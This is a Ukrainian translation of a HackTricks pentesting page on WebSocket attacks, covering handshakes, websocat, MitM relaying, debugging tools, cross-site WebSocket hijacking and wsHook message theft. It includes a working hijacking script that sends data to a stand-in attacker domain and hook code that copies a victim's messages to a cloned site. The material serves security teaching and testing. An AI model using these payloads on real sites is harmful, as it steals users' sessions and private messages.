WebSocket Attacks

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Що таке WebSockets

Підключення WebSocket встановлюються через початковий HTTP рукостискання і призначені для довгострокового використання, що дозволяє бідирекціональну передачу повідомлень у будь-який момент без необхідності у транзакційній системі. Це робить WebSockets особливо вигідними для застосунків, які вимагають низької затримки або серверно-ініційованої комунікації, таких як потоки живих фінансових даних.

Встановлення підключень WebSocket

Детальне пояснення щодо встановлення підключень WebSocket можна знайти тут. У кратці, підключення WebSocket зазвичай ініціюються через JavaScript на стороні клієнта, як показано нижче:

var ws = new WebSocket("wss://normal-website.com/ws");

Протокол wss позначає безпечне з'єднання WebSocket з TLS, тоді як ws вказує на незахищене з'єднання.

Під час встановлення з'єднання відбувається рукостискання між браузером та сервером через HTTP. Процес рукостискання включає відправлення запиту браузером та відповідь сервера, як показано в наступних прикладах:

Браузер відправляє запит на рукостискання:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Відповідь рукостискання сервера:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Підключення залишається відкритим для обміну повідомленнями у обох напрямках після встановлення.

Основні моменти рукостискання WebSocket:

  • Заголовки Connection та Upgrade сигналізують про початок рукостискання WebSocket.

  • Заголовок Sec-WebSocket-Version вказує на бажану версію протоколу WebSocket, зазвичай 13.

  • В заголовку Sec-WebSocket-Key надсилається випадкове значення, закодоване Base64, що гарантує унікальність кожного рукостискання, що допомагає уникнути проблем з кешуючими проксі. Це значення не призначене для аутентифікації, а лише для підтвердження того, що відповідь не генерується неправильно налаштованим сервером або кешем.

  • Заголовок Sec-WebSocket-Accept у відповіді сервера є хешем Sec-WebSocket-Key, що підтверджує намір сервера відкрити з'єднання WebSocket.

Ці функції забезпечують безпечний та надійний процес рукостискання, відкриваючи шлях для ефективного спілкування в реальному часі.

Консоль Linux

Ви можете використовувати websocat, щоб встановити пряме з'єднання з WebSocket.

websocat --insecure wss://10.10.10.10:8000 -v

Або створити сервер websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Атаки на проміжний час websocket

Якщо ви виявите, що клієнти підключені до HTTP websocket з вашої поточної локальної мережі, ви можете спробувати ARP Spoofing Attack, щоб виконати атаку на проміжний час між клієнтом та сервером. Після того, як клієнт намагається підключитися до вас, ви можете скористатися:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Перелік вебсокетів

Ви можете використовувати інструмент https://github.com/PalindromeLabs/STEWS для виявлення, відбитків та пошуку відомих вразливостей вебсокетів автоматично.

Інструменти налагодження вебсокетів

  • Burp Suite підтримує MitM комунікацію вебсокетів дуже схожим чином, як він це робить для звичайної комунікації HTTP.

  • Розширення socketsleuth для Burp Suite дозволить вам краще керувати комунікацією вебсокетів в Burp, отримуючи історію, встановлюючи правила перехоплення, використовуючи правила відповідності та заміни, використовуючи Intruder та AutoRepeater.

  • WSSiP (скорочено від "WebSocket/Socket.io Proxy") - цей інструмент, написаний на Node.js, надає користувацький інтерфейс для захоплення, перехоплення, відправки користувацьких повідомлень та перегляду всіх комунікацій WebSocket та Socket.IO між клієнтом та сервером.

  • wsrepl - це інтерактивний websocket REPL, призначений спеціально для тестування на проникнення. Він надає інтерфейс для спостереження за вхідними повідомленнями вебсокетів та відправки нових, з простою у використанні структурою для автоматизації цієї комунікації.

  • https://websocketking.com/ - це веб для комунікації з іншими веб-сайтами за допомогою вебсокетів.

  • https://hoppscotch.io/realtime/websocket серед інших типів комунікацій/протоколів, це надає веб для комунікації з іншими веб-сайтами за допомогою вебсокетів.

Лабораторія вебсокетів

У Burp-Suite-Extender-Montoya-Course є код для запуску веб-сайту за допомогою вебсокетів, а в цій публікації ви можете знайти пояснення.

Перехоплення вебсокетів міжсайтового викрадення (CSWSH)

Перехоплення вебсокетів міжсайтового викрадення, також відоме як перехоплення вебсокетів між джерелами, ідентифікується як конкретний випадок Підроблення запитів міжсайтового типу (CSRF), що впливає на рукостискання вебсокетів. Ця вразливість виникає, коли рукостискання вебсокетів аутентифікуються виключно через HTTP cookies без токенів CSRF або подібних заходів безпеки.

Зловмисники можуть використовувати це, розмістивши шкідливу веб-сторінку, яка ініціює зв'язок вебсокетів між джерелами з вразливою програмою. В результаті цей зв'язок розглядається як частина сеансу жертви з програмою, використовуючи відсутність захисту CSRF в механізмі обробки сеансу.

Проста атака

Зверніть увагу, що при встановленні з'єднання вебсокету cookie надсилається на сервер. Сервер може використовувати його для пов'язання кожного конкретного користувача з його сеансом вебсокету на основі надісланого cookie.

Отже, якщо, наприклад, сервер вебсокетів надсилає історію розмови користувача, якщо надіслано повідомлення з "READY", то простий XSS, який встановлює з'єднання (cookie буде надіслано автоматично для авторизації користувача-жертви) надсилаючи "READY", зможе отримати історію розмови.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Крос-походження + Куки з іншим піддоменом

У цьому блозі https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ зловмисник зміг виконати довільний JavaScript в піддомені домену, де відбувалася комунікація через веб-сокет. Оскільки це був піддомен, куки надсилалися, і через те, що Websocket не перевіряв Походження належним чином, було можливо з ним спілкуватися та викрасти токени з нього.

Викрадення даних від користувача

Скопіюйте веб-застосунок, який ви хочете підробити (наприклад, файли .html) та в середині скрипту, де відбувається комунікація через веб-сокет, додайте цей код:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Зараз завантажте файл wsHook.js з https://github.com/skepticfx/wshook та збережіть його всередині папки з веб-файлами. Викриваючи веб-додаток та змушуючи користувача підключатися до нього, ви зможете вкрасти надіслані та отримані повідомлення через веб-сокет:

sudo python3 -m http.server 80

Гонки умов

Гонки умов у WebSockets також є реальністю, перевірте цю інформацію, щоб дізнатися більше.

Інші вразливості

Оскільки WebSockets є механізмом для надсилання даних на серверну та клієнтську сторону, залежно від того, як сервер та клієнт обробляють інформацію, WebSockets можуть бути використані для експлуатації кількох інших вразливостей, таких як XSS, SQLi або будь-яка інша загальна вразливість веб-додатків за допомогою введення користувача через WebSocket.

WebSocket Smuggling

Ця вразливість може дозволити вам обійти обмеження обертових проксі-серверів, змушуючи їх вважати, що встановлено зв'язок WebSocket (навіть якщо це не так). Це може дозволити зловмиснику отримати доступ до прихованих кінцевих точок. Для отримання додаткової інформації перегляньте наступну сторінку:

pageUpgrade Header Smuggling

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated